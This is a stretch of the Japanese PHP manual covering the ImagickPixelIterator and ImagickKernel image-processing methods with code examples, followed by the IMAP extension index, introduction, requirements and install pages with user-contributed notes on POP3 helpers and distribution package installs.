例1 ImagickPixelIterator::setIteratorRow()

<?php
function setIteratorRow($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imageIterator = $imagick->getPixelRegionIterator(200, 100, 200, 200);

    for ($x = 0; $x < 20; $x++) {
        $imageIterator->setIteratorRow($x * 5);
        $pixels = $imageIterator->getCurrentIteratorRow();
        /* Loop through the pixels in the row (columns) */
        foreach ($pixels as $pixel) {
            /** @var $pixel \ImagickPixel */
            /* Paint every second pixel black*/
            $pixel->setColor("rgba(0, 0, 0, 0)");
        }

        /* Sync the iterator, this is important to do on each iteration */
        $imageIterator->syncIterator();
    }

    header("Content-Type: image/jpg");
    echo $imagick;
}

?>

User Contributed Notes

There are no user contributed notes for this page.


pixel iterator を同期する

  • ≪ ImagickPixelIterator::setIteratorRow
  • ImagickKernel ≫
  • PHP Manual
  • ImagickPixelIterator
  • pixel iterator を同期する

ImagickPixelIterator::syncIterator

(PECL imagick 2, PECL imagick 3)

ImagickPixelIterator::syncIterator — pixel iterator を同期する

説明

public ImagickPixelIterator::syncIterator ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

pixel iterator を同期します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


The ImagickKernel class

(PECL imagick >= 3.3.0)

はじめに

クラス概要

ImagickKernel {
/* メソッド */
public addKernel ( ImagickKernel $ImagickKernel ) : void
public addUnityKernel ( float $scale ) : void
public static fromBuiltin ( int $kernelType , string $kernelString ) : ImagickKernel
public static fromMatrix ( array $matrix , array $origin = ? ) : ImagickKernel
public getMatrix ( ) : array
public scale ( float $scale , int $normalizeFlag = ? ) : void
public separate ( ) : array
}

目次

  • ImagickKernel::addKernel — Description
  • ImagickKernel::addUnityKernel — Description
  • ImagickKernel::fromBuiltIn — Description
  • ImagickKernel::fromMatrix — Description
  • ImagickKernel::getMatrix — Description
  • ImagickKernel::scale — Description
  • ImagickKernel::separate — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel
  • ImagickKernel::addUnityKernel ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::addKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addKernel — Description

説明

public ImagickKernel::addKernel ( ImagickKernel $ImagickKernel ) : void

Attach another kernel to this kernel to allow them to both be applied in a single morphology or filter function. Returns the new combined kernel.

パラメータ

ImagickKernel

返り値

例

例1 ImagickKernel::addKernel()

<?php
function addKernel($imagePath) {
    $matrix1 = [
        [-1, -1, -1],
        [ 0,  0,  0],
        [ 1,  1,  1],
    ];

    $matrix2 = [
        [-1,  0,  1],
        [-1,  0,  1],
        [-1,  0,  1],
    ];

    $kernel1 = ImagickKernel::fromMatrix($matrix1);
    $kernel2 = ImagickKernel::fromMatrix($matrix2);
    $kernel1->addKernel($kernel2);

    $imagick = new \Imagick(realpath($imagePath));
    $imagick->filter($kernel1);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::addKernel
  • ImagickKernel::fromBuiltIn ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::addUnityKernel

(PECL imagick >= 3.3.0)

ImagickKernel::addUnityKernel — Description

説明

public ImagickKernel::addUnityKernel ( float $scale ) : void

Adds a given amount of the 'Unity' Convolution Kernel to the given pre-scaled and normalized Kernel. This in effect adds that amount of the original image into the resulting convolution kernel. The resulting effect is to convert the defined kernels into blended soft-blurs, unsharp kernels or into sharpening kernels.

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 ImagickKernel::addUnityKernel()

<?php

    function renderKernelTable($matrix) {
        $output = "<table class='infoTable'>";

        foreach ($matrix as $row) {
            $output .= "<tr>";
            foreach ($row as $cell) {
                $output .= "<td style='text-align:left'>";
                if ($cell === false) {
                    $output .= "false";
                }
                else {
                    $output .= round($cell, 3);
                }
                $output .= "</td>";
            }
            $output .= "</tr>";
        }

        $output .= "</table>";

        return $output;
    }

    $matrix = [
        [-1, 0, -1],
        [ 0, 4,  0],
        [-1, 0, -1],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix);
    $kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
    $output = "Before adding unity kernel: <br/>";
    $output .= renderKernelTable($kernel->getMatrix());
    $kernel->addUnityKernel(0.5);
    $output .= "After adding unity kernel: <br/>";
    $output .= renderKernelTable($kernel->getMatrix());

    $kernel->scale(1, \Imagick::NORMALIZE_KERNEL_VALUE);
    $output .= "After renormalizing kernel: <br/>";
    $output .= renderKernelTable($kernel->getMatrix());

    echo $output;

?>

例2 ImagickKernel::addUnityKernel()

<?php
function addUnityKernel($imagePath) {

    $matrix = [
        [-1, 0, -1],
        [ 0, 4,  0],
        [-1, 0, -1],
    ];

    $kernel = ImagickKernel::fromMatrix($matrix);

    $kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
    $kernel->addUnityKernel(0.5);

    $imagick = new \Imagick(realpath($imagePath));
    $imagick->filter($kernel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();

}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::addUnityKernel
  • ImagickKernel::fromMatrix ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::fromBuiltIn

(PECL imagick >= 3.3.0)

ImagickKernel::fromBuiltIn — Description

説明

public static ImagickKernel::fromBuiltin ( int $kernelType , string $kernelString ) : ImagickKernel

Create a kernel from a builtin in kernel. See http://www.imagemagick.org/Usage/morphology/#kernel for examples. Currently the 'rotation' symbols are not supported. Example: $diamondKernel = ImagickKernel::fromBuiltIn(\Imagick::KERNEL_DIAMOND, "2");

パラメータ

kerneltype

The type of kernel to build e.g. \Imagick::KERNEL_DIAMOND

kernelString

A string that describes the parameters e.g. "4,2.5"

返り値

例

例1 ImagickKernel::fromBuiltin()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
    $matrix = $imagickKernel->getMatrix();

    $imageMargin = 20;

    $tileSize = 20;
    $tileSpace = 4;
    $shadowSigma = 4;
    $shadowDropX = 20;
    $shadowDropY = 0;

    $radius = ($tileSize / 2) * 0.9;

    $rows = count($matrix);
    $columns = count($matrix[0]);

    $imagickDraw = new \ImagickDraw();

    $imagickDraw->setFillColor('#afafaf');
    $imagickDraw->setStrokeColor('none');

    $imagickDraw->translate($imageMargin, $imageMargin);
    $imagickDraw->push();

    ksort($matrix);

    foreach ($matrix as $row) {
        ksort($row);
        $imagickDraw->push();
        foreach ($row as $cell) {
            if ($cell !== false) {
                $color = intval(255 * $cell);
                $colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
                $imagickDraw->setFillColor($colorString);
                $imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
            }
            $imagickDraw->translate(($tileSize + $tileSpace), 0);
        }
        $imagickDraw->pop();
        $imagickDraw->translate(0, ($tileSize + $tileSpace));
    }

    $imagickDraw->pop();

    $width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
    $height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

    $imagickDraw->push();
    $imagickDraw->translate($width/2 , $height/2);
    $imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
    $imagickDraw->setStrokeColor('white');
    $imagickDraw->circle(0, 0, $radius - 1, 0);
    $imagickDraw->setStrokeColor('black');
    $imagickDraw->circle(0, 0, $radius, 0);
    $imagickDraw->pop();

    $canvasWidth = $width + (2 * $imageMargin);
    $canvasHeight = $height + (2 * $imageMargin);

    $kernel = new \Imagick();
    $kernel->newPseudoImage(
        $canvasWidth,
        $canvasHeight,
        'canvas:none'
    );

    $kernel->setImageFormat('png');
    $kernel->drawImage($imagickDraw);

    /* create drop shadow on it's own layer */
    $canvas = $kernel->clone();
    $canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
    $canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

    $canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
    $canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

    /* composite original text_layer onto shadow_layer */
    $canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
    $canvas->setImageFormat('png');

    return $canvas;
}

function createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
    $string = '';

    if ($kernelFirstTerm != false && strlen(trim($kernelFirstTerm)) != 0) {
        $string .= $kernelFirstTerm;

        if ($kernelSecondTerm != false && strlen(trim($kernelSecondTerm)) != 0) {
            $string .= ','.$kernelSecondTerm;
            if ($kernelThirdTerm != false && strlen(trim($kernelThirdTerm)) != 0) {
                $string .= ','.$kernelThirdTerm;
            }
        }
    }

    $kernel = ImagickKernel::fromBuiltIn(
        $kernelType,
        $string
    );

    return $kernel;
}

function fromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm) {
    $diamondKernel = createFromBuiltin($kernelType, $kernelFirstTerm, $kernelSecondTerm, $kernelThirdTerm);
    $imagick = renderKernel($diamondKernel);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

fromBuiltin(\Imagick::KERNEL_DIAMOND, 2, false, false);

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::fromBuiltIn
  • ImagickKernel::getMatrix ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::fromMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::fromMatrix — Description

説明

public static ImagickKernel::fromMatrix ( array $matrix , array $origin = ? ) : ImagickKernel

Create a kernel from an 2d matrix of values. Each value should either be a float (if the element should be used) or 'false' if the element should be skipped. For matrices that are odd sizes in both dimensions the origin pixel will default to the centre of the kernel. For all other kernel sizes the origin pixel must be specified.

パラメータ

array

A matrix (i.e. 2d array) of values that define the kernel. Each element should be either a float value, or FALSE if that element shouldn't be used by the kernel.

array

Which element of the kernel should be used as the origin pixel. e.g. For a 3x3 matrix specifying the origin as [2, 2] would specify that the bottom right element should be the origin pixel.

返り値

The generated ImagickKernel.

例

例1 ImagickKernel::fromMatrix()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
    $matrix = $imagickKernel->getMatrix();

    $imageMargin = 20;

    $tileSize = 20;
    $tileSpace = 4;
    $shadowSigma = 4;
    $shadowDropX = 20;
    $shadowDropY = 0;

    $radius = ($tileSize / 2) * 0.9;

    $rows = count($matrix);
    $columns = count($matrix[0]);

    $imagickDraw = new \ImagickDraw();

    $imagickDraw->setFillColor('#afafaf');
    $imagickDraw->setStrokeColor('none');

    $imagickDraw->translate($imageMargin, $imageMargin);
    $imagickDraw->push();

    ksort($matrix);

    foreach ($matrix as $row) {
        ksort($row);
        $imagickDraw->push();
        foreach ($row as $cell) {
            if ($cell !== false) {
                $color = intval(255 * $cell);
                $colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
                $imagickDraw->setFillColor($colorString);
                $imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
            }
            $imagickDraw->translate(($tileSize + $tileSpace), 0);
        }
        $imagickDraw->pop();
        $imagickDraw->translate(0, ($tileSize + $tileSpace));
    }

    $imagickDraw->pop();

    $width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
    $height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

    $imagickDraw->push();
    $imagickDraw->translate($width/2 , $height/2);
    $imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
    $imagickDraw->setStrokeColor('white');
    $imagickDraw->circle(0, 0, $radius - 1, 0);
    $imagickDraw->setStrokeColor('black');
    $imagickDraw->circle(0, 0, $radius, 0);
    $imagickDraw->pop();

    $canvasWidth = $width + (2 * $imageMargin);
    $canvasHeight = $height + (2 * $imageMargin);

    $kernel = new \Imagick();
    $kernel->newPseudoImage(
        $canvasWidth,
        $canvasHeight,
        'canvas:none'
    );

    $kernel->setImageFormat('png');
    $kernel->drawImage($imagickDraw);

    /* create drop shadow on it's own layer */
    $canvas = $kernel->clone();
    $canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
    $canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

    $canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
    $canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

    /* composite original text_layer onto shadow_layer */
    $canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
    $canvas->setImageFormat('png');

    return $canvas;
}

function createFromMatrix() {
    $matrix = [
        [0.5, 0, 0.2],
        [0, 1, 0],
        [0.9, 0, false],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix);

    return $kernel;
}

function fromMatrix() {
    $kernel = createFromMatrix();
    $imagick = renderKernel($kernel);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::fromMatrix
  • ImagickKernel::scale ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::getMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::getMatrix — Description

説明

public ImagickKernel::getMatrix ( ) : array

Get the 2d matrix of values used in this kernel. The elements are either float for elements that are used or 'false' if the element should be skipped.

パラメータ

この関数にはパラメータはありません。

返り値

A matrix (2d array) of the values that represent the kernel.

例

例1 ImagickKernel::getMatrix()

<?php

function renderKernelTable($matrix) {
    $output = "<table class='infoTable'>";

    foreach ($matrix as $row) {
        $output .= "<tr>";
        foreach ($row as $cell) {
            $output .= "<td style='text-align:left'>";
            if ($cell === false) {
                $output .= "false";
            }
            else {
                $output .= round($cell, 3);
            }
            $output .= "</td>";
        }
        $output .= "</tr>";
    }

    $output .= "</table>";

    return $output;
}

    $output = "The built-in kernel name 'ring' with parameters of '2,3.5':<br/>";
    $kernel = \ImagickKernel::fromBuiltIn(
        \Imagick::KERNEL_RING,
        "2,3.5"
    );
    $matrix = $kernel->getMatrix();
    $output .= renderKernelTable($matrix);

    echo $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::getMatrix
  • ImagickKernel::separate ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::scale

(PECL imagick >= 3.3.0)

ImagickKernel::scale — Description

説明

public ImagickKernel::scale ( float $scale , int $normalizeFlag = ? ) : void

ScaleKernelInfo() scales the given kernel list by the given amount, with or without normalization of the sum of the kernel values (as per given flags). The exact behaviour of this function depends on the normalization type being used please see http://www.imagemagick.org/api/morphology.php#ScaleKernelInfo for details. Flag should be one of Imagick::NORMALIZE_KERNEL_VALUE, Imagick::NORMALIZE_KERNEL_CORRELATE, Imagick::NORMALIZE_KERNEL_PERCENT or not set.

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 ImagickKernel::scale()

<?php

    function renderKernelTable($matrix) {
        $output = "<table class='infoTable'>";

        foreach ($matrix as $row) {
            $output .= "<tr>";
            foreach ($row as $cell) {
                $output .= "<td style='text-align:left'>";
                if ($cell === false) {
                    $output .= "false";
                }
                else {
                    $output .= round($cell, 3);
                }
                $output .= "</td>";
            }
            $output .= "</tr>";
        }

        $output .= "</table>";

        return $output;
    }

    $output = "";

    $matrix = [
        [-1, 0, -1],
        [ 0, 4,  0],
        [-1, 0, -1],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix);
    $kernelClone = clone $kernel;

    $output .= "Start kernel<br/>";
    $output .= renderKernelTable($kernel->getMatrix());

    $output .= "Scaling with NORMALIZE_KERNEL_VALUE. The  <br/>";
    $kernel->scale(2, \Imagick::NORMALIZE_KERNEL_VALUE);
    $output .= renderKernelTable($kernel->getMatrix());

    $kernel = clone $kernelClone;
    $output .= "Scaling by percent<br/>";
    $kernel->scale(2, \Imagick::NORMALIZE_KERNEL_PERCENT);
    $output .= renderKernelTable($kernel->getMatrix());

    $matrix2 = [
        [-1, -1, 1],
        [ -1, false,  1],
        [1, 1, 1],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix2);
    $output .= "Scaling by correlate<br/>";
    $kernel->scale(1, \Imagick::NORMALIZE_KERNEL_CORRELATE);
    $output .= renderKernelTable($kernel->getMatrix());

    return $output;
?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ ImagickKernel::scale
  • メール関連 ≫
  • PHP Manual
  • ImagickKernel
  • Description

ImagickKernel::separate

(PECL imagick >= 3.3.0)

ImagickKernel::separate — Description

説明

public ImagickKernel::separate ( ) : array

Separates a linked set of kernels and returns an array of ImagickKernels.

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 ImagickKernel::separate()

<?php

    function renderKernelTable($matrix) {

        $output = "<table class='infoTable'>";
        foreach ($matrix as $row) {
            $output .= "<tr>";
            foreach ($row as $cell) {
                $output .= "<td style='text-align:left'>";
                if ($cell === false) {
                    $output .= "false";
                }
                else {
                    $output .= round($cell, 3);
                }
                $output .= "</td>";
            }
            $output .= "</tr>";
        }

        $output .= "</table>";

        return $output;
    }

    $matrix = [
        [-1, 0, -1],
        [ 0, 4,  0],
        [-1, 0, -1],
    ];

    $kernel = \ImagickKernel::fromMatrix($matrix);
    $kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
    $diamondKernel = \ImagickKernel::fromBuiltIn(
        \Imagick::KERNEL_DIAMOND,
        "2"
    );

    $kernel->addKernel($diamondKernel);

    $kernelList = $kernel->separate();

    $output = '';
    $count = 0;
    foreach ($kernelList as $kernel) {
        $output .= "<br/>Kernel $count<br/>";
        $output .= renderKernelTable($kernel->getMatrix());
        $count++;
    }

    return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


メール関連

  • IMAP — IMAP、POP3 および NNTP
    • はじめに
    • インストール/設定
    • 定義済み定数
    • IMAP 関数
  • メール
    • はじめに
    • インストール/設定
    • 定義済み定数
    • メール 関数
  • Mailparse
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Mailparse 関数

User Contributed Notes

There are no user contributed notes for this page.


IMAP、POP3 および NNTP

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • IMAP 関数
    • imap_8bit — 8 ビット文字列を quoted-printable 文字列に変換する
    • imap_alerts — 発生した IMAP 警告メッセージを返す
    • imap_append — 指定されたメールボックスに文字列メッセージを追加する
    • imap_base64 — BASE64 でエンコードされたテキストをデコードする
    • imap_binary — 8 ビット文字列を base64 文字列に変換する
    • imap_body — メッセージ本文を読む
    • imap_bodystruct — 指定したメッセージの指定した body セクションの構造を読み込む
    • imap_check — 現在のメールボックスをチェックする
    • imap_clearflag_full — メッセージのフラグをクリアする
    • imap_close — IMAP ストリームをクローズする
    • imap_create — imap_createmailbox のエイリアス
    • imap_createmailbox — 新しいメールボックスを作る
    • imap_delete — 現在のメールボックスから削除するメッセージに印を付ける
    • imap_deletemailbox — メールボックスを削除する
    • imap_errors — 発生したすべての IMAP エラーを返す
    • imap_expunge — 削除用にマークされたすべてのメッセージを削除する
    • imap_fetch_overview — 指定したメッセージのヘッダ情報の概要を読む
    • imap_fetchbody — メッセージ本文中の特定のセクションを取り出す
    • imap_fetchheader — メッセージのヘッダを返す
    • imap_fetchmime — メッセージの特定のセクションに対する MIME ヘッダを取り出します
    • imap_fetchstructure — 特定のメッセージの構造を読み込む
    • imap_fetchtext — imap_body のエイリアス
    • imap_gc — IMAP キャッシュをクリアする
    • imap_get_quota — クオータレベルの設定、メールボックス毎の使用状況を取得する
    • imap_get_quotaroot — ユーザー単位のクォータ設定を取得する
    • imap_getacl — 与えられたメールボックスの ACL を取得する
    • imap_getmailboxes — メールボックスのリストを読み込み、各ボックスに関する詳細な情報を返す
    • imap_getsubscribed — 購読中の全メールボックスの一覧を取得する
    • imap_header — imap_headerinfo のエイリアス
    • imap_headerinfo — メッセージヘッダを読み込む
    • imap_headers — メールボックス内のすべてのメッセージのヘッダを返す
    • imap_last_error — ページリクエスト時に生じた直近の IMAP エラーを返す
    • imap_list — メールボックスのリストを読み込む
    • imap_listmailbox — imap_list のエイリアス
    • imap_listscan — 指定したテキストにマッチするメールボックスの一覧を返す
    • imap_listsubscribed — imap_lsub のエイリアス
    • imap_lsub — 購読しているすべてのメールボックスの一覧を得る
    • imap_mail_compose — 指定したエンベロープおよびボディセクションに基づいて MIME メッセージを作成する
    • imap_mail_copy — 指定されたメッセージをメールボックスにコピーする
    • imap_mail_move — 指定されたメッセージをメールボックスに移動する
    • imap_mail — e-mail メッセージを送信する
    • imap_mailboxmsginfo — 現在のメールボックスに関する情報を得る
    • imap_mime_header_decode — MIME ヘッダ要素をデコードする
    • imap_msgno — 指定した UID のメッセージ番号を返す
    • imap_mutf7_to_utf8 — 修正UTF-7文字列をUTF-8にデコードする
    • imap_num_msg — 現在のメールボックスのメッセージ数を取得する
    • imap_num_recent — 現在のメールボックスにある新規メッセージ数を取得する
    • imap_open — メールボックスへの IMAP ストリームをオープンする
    • imap_ping — IMAP ストリームがアクティブかどうかを調べる
    • imap_qprint — quoted-printable 文字列を 8 ビット文字列に変換する
    • imap_rename — imap_renamemailbox のエイリアス
    • imap_renamemailbox — メールボックスの名前を変更する
    • imap_reopen — 新規メールボックスへの IMAP ストリームを再度オープンする
    • imap_rfc822_parse_adrlist — アドレス文字列を解釈します
    • imap_rfc822_parse_headers — 文字列からメールヘッダを解釈する
    • imap_rfc822_write_address — 指定したメールボックス、ホスト、個人情報を、 電子メールアドレスとして適当な形式にして返す
    • imap_savebody — 指定した本文部をファイルに保存する
    • imap_scan — imap_listscan のエイリアス
    • imap_scanmailbox — imap_listscan のエイリアス
    • imap_search — 指定した検索条件にマッチするメッセージを配列として返す
    • imap_set_quota — 指定したメールボックスにクォータを設定する
    • imap_setacl — 指定したメールボックスの ACL を設定する
    • imap_setflag_full — メッセージにフラグをセットする
    • imap_sort — メッセージヘッダの配列をソートする
    • imap_status — 現在のメールボックス以外のメールボックスのステータス情報を返す
    • imap_subscribe — メールボックスを購読する
    • imap_thread — スレッド化したメッセージのツリーを返す
    • imap_timeout — imap タイムアウトを設定あるいは取得する
    • imap_uid — 指定したメッセージシーケンス番号の UID を返す
    • imap_undelete — 削除マークがついているメッセージのマークをはずす
    • imap_unsubscribe — メールボックスの購読をやめる
    • imap_utf7_decode — 修正版 UTF-7 エンコードされた文字列をデコードする
    • imap_utf7_encode — ISO-8859-1 文字列を修正版 UTF-7 テキストに変換する
    • imap_utf8_to_mutf7 — UTF-8 文字列を修正UTF-7にエンコードする
    • imap_utf8 — MIME エンコードされたテキストを UTF-8 に変換する

User Contributed Notes

opto 16-Mar-2012 12:08
it seems that in new PHP versions, $ssl must be specified even if no ssl is used - I got it working for POP3 only after adding /notls (honour some post I found somewhere)
Klaus
dev at bluehead dot com dot br 27-Nov-2011 06:13
Because I don't know regular expressions, I hacked the mail_parse_headers() to properly get the last line from the header string:

<?php
function mail_parse_headers($headers)
{

    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    $headers=trim($headers)."\r\n"; /* a hack for the preg_match_all in the next line */
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
?>
Wil Barath 25-Feb-2010 07:54
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($connection);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($connection);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($connection,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
        return $result;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "mn26826" on 09-JUN-2010, which fixed the erroneous reference to $imap as the parameter passed to imap_mailboxmsginfo() within the user function pop3_stat().  This was intended to be $connection.]

[EDIT BY visualmind AT php DOT net: Contains a bugfix by "elias-jobview" on 17-AUG-2010, which fixed the error in pop3_list function which didn't have: return $result]

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "chrismeistre" on 09-SEP-2010, which fixed the erroneous reference to $mbox (should be $connection) in the pop3_list() function.]


はじめに

これらの関数は、IMAP プロトコルのほかに NNTP や POP3、 そしてローカルのメールボックスへのアクセスもサポートします。

しかし、IMAP 関数の中には POP プロトコルでは正常に動作しないものがあることに注意しましょう。

警告

IMAP 拡張機能はスレッドセーフではありません。 よって、ZTS が有効なPHPで使うべきではありません。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

Shadab Kiani 08-Jan-2021 12:20
For CentOS

If you are using PHP 7.2, run this:
--------------------------------------
yum install sclo-php72-php-imap
--------------------------------------

Then restart Apache with this:
---------------------------
systemctl restart httpd
---------------------------
kuz-alex at mail dot ru 23-Apr-2019 12:48
Ubuntu 18.04

sudo apt-get install php-imap
jevon at jevon dot org 06-Jan-2015 03:27
On Ubuntu 14.04+, you need to first install with apt-get:

apt-get install php5-imap

However it's not enabled by default so enable it with:

php5enmod imap
panchtatvam at gmail dot com 23-May-2014 07:25
For Fedora 20
===========

Install php-imap:
sudo yum install php-imap

Then restart httpd :
sudo service httpd restart
Robin Scurr 05-Feb-2014 05:20
This applies to SUSE Linux

When I did "php -m" at the bash prompt, imap WAS listed as installed, however the results of <?php echo phpinfo(); ?> DID NOT have imap anywhere? All the *.ini files were processed from the \etc\php5\conf.d directory EXCEPT the imap.ini file.

I fixed this by adding to the file \etc\php5\apache2\php.ini the line:

extension=imap.so

... even though a file called imap.ini contained that same entry in \etc\php5\conf.d?

Explicitly entering the extension=imap.so in the php5.ini file fixed - you do have to restart PHP (reboot) after making the entry....

All is well now.
marcin at koziarz dot pl 13-May-2013 07:25
In ArchLinux, a php package provides this module, but it is disabled by default.
Simply uncomment a line (remove semicolon) in /etc/php/php.ini:

;extension=imap.so

to

extension=imap.so

and then, restart PHP.
dale3h 13-Jan-2009 01:31
In CentOS:

yum install php-imap

Works like a charm!
LZZ 08-Dec-2008 10:11
On Gentoo:

edit /etc/make.conf and include imap to the USE flags,
then run

emerge php
dlaplant at integresystems dot com 02-Sep-2008 01:24
For rhel4 add the libc-client-devel package
clay at scvalleypopcorn dot com 02-Aug-2008 12:38
apt-get install php5-imap

Works well also.... Enjoy
Josecito 27-May-2008 07:21
To install the IMAP module on Red Hat Linux Enterprise 4 (RHEL4):
- Open a terminal window
- If you're not root, become root with su
- type:
RPM -i php-imap
(RPM will download, install and resolve dependencies)
- restart your web server with:
service httpd restart

I hope this helps newbies (like me).


要件

この拡張モジュールは、c-client ライブラリがインストールされている ことを要します。» https://github.com/uw-imap/imap から 最新版を入手し、コンパイルしてください。

IMAP のソースファイルをシステムの include ディレクトリに直接コピー しないことが大切です。そのようなことをすると既存のファイルと衝突を 引き起こす可能性があります。そのかわりにシステムの include ディレクトリの 下に新しいディレクトリ（例： /usr/local/imap-2000b/ 場所や名前は、あなたのシステムの設定や IMAP のバージョンに依存します）を作成し、 この新規ディレクトリの下に lib/、include/ という新しいディレクトリを作成します。IMAP ソースツリーの c-client ディレクトリからすべての *.h ファイルを include/ に、そしてすべての *.c ファイルを lib/ にコピーします。 IMAP をコンパイルすると、c-client.a というファイルが つくられます。これも lib/ ディレクトリにコピーし、 名前を libc-client.a に変更してください。

注意:

